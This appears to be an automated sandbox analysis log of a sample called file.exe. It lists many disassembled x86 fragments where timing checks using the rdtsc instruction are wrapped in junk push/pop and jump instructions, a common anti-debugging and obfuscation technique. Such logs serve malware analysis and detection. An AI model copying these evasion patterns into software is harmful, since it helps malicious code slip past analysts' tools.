Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14169D3 second address: 1416A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jp 00007FBF2CC641E6h 0x0000000b pop ecx 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007FBF2CC641F3h 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007FBF2CC641EAh 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 je 00007FBF2CC641E8h 0x00000028 pushad 0x00000029 popad 0x0000002a pushad 0x0000002b push eax 0x0000002c pop eax 0x0000002d jnl 00007FBF2CC641E6h 0x00000033 popad 0x00000034 popad 0x00000035 pop eax 0x00000036 mov dword ptr [ebp+122D31EDh], eax 0x0000003c call 00007FBF2CC641E9h 0x00000041 push eax 0x00000042 push edx 0x00000043 push edx 0x00000044 jmp 00007FBF2CC641F2h 0x00000049 pop edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E61B second address: 144E625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E875 second address: 144E87B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E87B second address: 144E87F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E87F second address: 144E889 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E889 second address: 144E898 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007FBF2D4D1A42h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E898 second address: 144E89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E89E second address: 144E8A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14019D4 second address: 14019D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145910B second address: 145911E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBF2D4D1A3Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145911E second address: 1459124 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145927D second address: 145928C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1459886 second address: 145988A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145988A second address: 1459894 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FBF2D4D1A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1459894 second address: 14598AB instructions: 0x00000000 rdtsc 0x00000002 je 00007FBF2CC641EAh 0x00000008 push edi 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14598AB second address: 14598AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14598AF second address: 14598C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007FBF2CC641E6h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F794 second address: 145F79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBF2D4D1A36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F79E second address: 145F7A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F7A4 second address: 145F7EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBF2D4D1A3Ch 0x0000000b jnp 00007FBF2D4D1A3Ch 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007FBF2D4D1A4Dh 0x0000001a jmp 00007FBF2D4D1A3Dh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F93A second address: 145F93E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F93E second address: 145F96E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2D4D1A40h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FBF2D4D1A3Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBF2D4D1A3Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F96E second address: 145F97A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F97A second address: 145F980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145FE03 second address: 145FE2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2CC641F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FBF2CC641E6h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145FF96 second address: 145FFBE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBF2D4D1A44h 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FBF2D4D1A36h 0x00000013 jnc 00007FBF2D4D1A36h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145FFBE second address: 145FFC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145FFC2 second address: 145FFCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145FFCC second address: 145FFD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F4D9 second address: 145F4E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146029B second address: 14602A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF2CC641EAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146054C second address: 1460550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1460550 second address: 1460556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1460556 second address: 1460565 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBF2D4D1A3Ah 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146298A second address: 14629A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2CC641F2h 0x00000007 jc 00007FBF2CC641E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14629A6 second address: 14629C6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBF2D4D1A47h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14629C6 second address: 14629D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBF2CC641E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14629D0 second address: 14629D6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1466B81 second address: 1466B8D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1466B8D second address: 1466B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1466B91 second address: 1466B9C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1466FAF second address: 1466FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 ja 00007FBF2D4D1A4Ah 0x0000000d jng 00007FBF2D4D1A36h 0x00000013 jmp 00007FBF2D4D1A3Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1466FD0 second address: 1466FE4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBF2CC641EEh 0x00000008 pushad 0x00000009 popad 0x0000000a jnl 00007FBF2CC641E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1466FE4 second address: 146700A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FBF2D4D1A5Ah 0x0000000e push eax 0x0000000f jnp 00007FBF2D4D1A36h 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jns 00007FBF2D4D1A36h 0x00000020 je 00007FBF2D4D1A36h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146700A second address: 1467010 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146C1AA second address: 146C1AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146C1AE second address: 146C220 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBF2CC641F8h 0x00000008 pushad 0x00000009 js 00007FBF2CC641E6h 0x0000000f jo 00007FBF2CC641E6h 0x00000015 jmp 00007FBF2CC641EEh 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jnl 00007FBF2CC641FCh 0x00000025 pushad 0x00000026 jmp 00007FBF2CC641F9h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146C220 second address: 146C225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146C5E1 second address: 146C5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146C5E5 second address: 146C5EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146C5EA second address: 146C5F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146C5F2 second address: 146C601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FBF2D4D1A3Eh 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146C73F second address: 146C77C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007FBF2CC641E6h 0x0000000f pop edx 0x00000010 jng 00007FBF2CC64201h 0x00000016 jmp 00007FBF2CC641F9h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 pushad 0x00000022 popad 0x00000023 pop ebx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146C77C second address: 146C799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF2D4D1A42h 0x00000009 js 00007FBF2D4D1A36h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146D3AA second address: 146D3C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007FBF2CC641E6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FBF2CC641E6h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14713F8 second address: 14713FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14713FE second address: 147140B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147088A second address: 14708AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007FBF2D4D1A47h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1470B94 second address: 1470B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1470B98 second address: 1470BA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1470BA1 second address: 1470BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF2CC641F0h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1470CE2 second address: 1470CE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1470E35 second address: 1470E56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007FBF2CC641FCh 0x0000000b jmp 00007FBF2CC641F4h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1470E56 second address: 1470E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF2D4D1A3Bh 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1470FCE second address: 1470FE7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF2CC641F2h 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474303 second address: 1474308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1473BC9 second address: 1473BD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1473BD4 second address: 1473BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1473BDA second address: 1473BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1473BE3 second address: 1473BE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147B11E second address: 147B12D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007FBF2CC641E6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147B12D second address: 147B13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FBF2D4D1A36h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147B13F second address: 147B148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147B148 second address: 147B14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147B41A second address: 147B41E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147C240 second address: 147C246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147C246 second address: 147C279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FBF2CC641F1h 0x0000000f jmp 00007FBF2CC641F3h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147C279 second address: 147C27D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CD4B second address: 147CD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FBF2CC641E6h 0x0000000a jmp 00007FBF2CC641F6h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CD74 second address: 147CD7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CD7A second address: 147CD7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CD7F second address: 147CD8C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007FBF2D4D1A36h 0x00000009 pop edi 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CD8C second address: 147CD92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1481615 second address: 148161B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148161B second address: 1481623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1481623 second address: 1481629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1481629 second address: 1481655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007FBF2CC641F6h 0x0000000b jmp 00007FBF2CC641EEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1481655 second address: 1481667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBF2D4D1A3Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1485C47 second address: 1485C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1486013 second address: 1486017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1486017 second address: 1486027 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBF2CC641E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1486027 second address: 148602B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14862B8 second address: 14862E3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FBF2CC641E8h 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FBF2CC641F9h 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14862E3 second address: 14862F0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
